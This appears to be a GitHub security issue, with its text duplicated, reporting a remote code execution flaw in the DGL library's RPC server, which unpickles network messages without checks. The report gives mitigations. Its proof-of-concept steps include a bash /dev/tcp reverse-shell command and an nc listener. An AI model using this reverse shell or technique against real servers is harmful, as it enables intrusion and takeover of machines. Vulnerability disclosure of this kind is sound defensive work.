You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The dgl implements an rpc server (start_server() in rpc_server.py) for supporting the RPC communications among different remote users over networks (i.e. by “ip_config”). In its core functionality rpc.recv_request(), I found it will call function recv_rpc_meassge() and then call deserialize_from_payload(), which directly uses the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.
Proof of Concept
Step1:
The victim user starts a RPC server that connects to its network interface. Here, I use part of the official test code in github repo (test_rpc.py) to initialize the server, you can also reproduce the PoC by initializing your own rpc server by dgl.distributed.start_server().
We give our example code in the attachment, you can reproduce it
Step2:
The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give an example to show how an attacker can acquire a command shell:
In this example, the attacker modifies rpc_client and sends a request containing malicious pickle dump data to let the victim execute the command “bash -c ‘bash -i >& /dev/tcp/{ip address}/4444 0>&1’”, where ipaddress is an attacker’s server.
Step3:
Attacker can use the nc tool (nc -l 4444) to create a reverse shell and wait for a connection. Then, the attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let an attacker get the command shell of the victim machine.
We also give a demo video in the attachment, along with modified rpc.py.
Impact
Remote code execution in the victim's machine.
Mitigation
(1)Sanitize RPCMessage.data before pickle.loads it, or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads.
(2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster.
(3) Alert a warning when using pickle to load data over the network.
dgl-rce-demo.mp4
The text was updated successfully, but these errors were encountered:
Description
The dgl implements an rpc server (start_server() in rpc_server.py) for supporting the RPC communications among different remote users over networks (i.e. by “ip_config”). In its core functionality rpc.recv_request(), I found it will call function recv_rpc_meassge() and then call deserialize_from_payload(), which directly uses the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.
Proof of Concept
The victim user starts a RPC server that connects to its network interface. Here, I use part of the official test code in github repo (test_rpc.py) to initialize the server, you can also reproduce the PoC by initializing your own rpc server by dgl.distributed.start_server().
We give our example code in the attachment, you can reproduce it
code.zip
directly with server.py.
The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give an example to show how an attacker can acquire a command shell:
In this example, the attacker modifies rpc_client and sends a request containing malicious pickle dump data to let the victim execute the command “bash -c ‘bash -i >& /dev/tcp/{ip address}/4444 0>&1’”, where ipaddress is an attacker’s server.
Attacker can use the nc tool (nc -l 4444) to create a reverse shell and wait for a connection. Then, the attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let an attacker get the command shell of the victim machine.
We also give a demo video in the attachment, along with modified rpc.py.
Impact
Remote code execution in the victim's machine.
Mitigation
(1)Sanitize RPCMessage.data before pickle.loads it, or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads.
(2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster.
(3) Alert a warning when using pickle to load data over the network.
dgl-rce-demo.mp4
The text was updated successfully, but these errors were encountered: